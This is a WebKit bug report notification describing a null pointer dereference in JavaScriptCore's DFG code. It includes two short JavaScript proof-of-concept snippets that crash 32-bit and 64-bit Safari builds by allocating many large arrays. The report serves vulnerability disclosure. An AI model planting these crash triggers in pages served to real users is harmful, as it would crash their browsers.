[Webkit-unassigned] [Bug 179364] New: null pointer dereference in JSC::DFG::operationNewArrayWithSize

[bugzilla-daemon at webkit.org]

https://bugs.webkit.org/show_bug.cgi?id=179364

            Bug ID: 179364
           Summary: null pointer dereference in
                    JSC::DFG::operationNewArrayWithSize
           Product: WebKit
           Version: Safari 10
          Hardware: PC
                OS: macOS 10.12.4
            Status: NEW
          Severity: Normal
          Priority: P2
         Component: JavaScriptCore
          Assignee: webkit-unassigned at lists.webkit.org
          Reporter: zhunkibatu at gmail.com

The following poc can lead to a crash in a 32-bit build of Webkit.

##########################################
var array = new Array(10000);

for (var i = 0; i < 20000; ++i) {
    var newArray = new Array(10000);
    array[i % array.length] = newArray;
}
##########################################
To trigger a crash in a 64-bit safari, the poc need to change to

##########################################
var array = new Array(100000);

for (var i = 0; i < 200000; ++i) {
    var newArray = new Array(100000);
    array[i % array.length] = newArray;
}
##########################################

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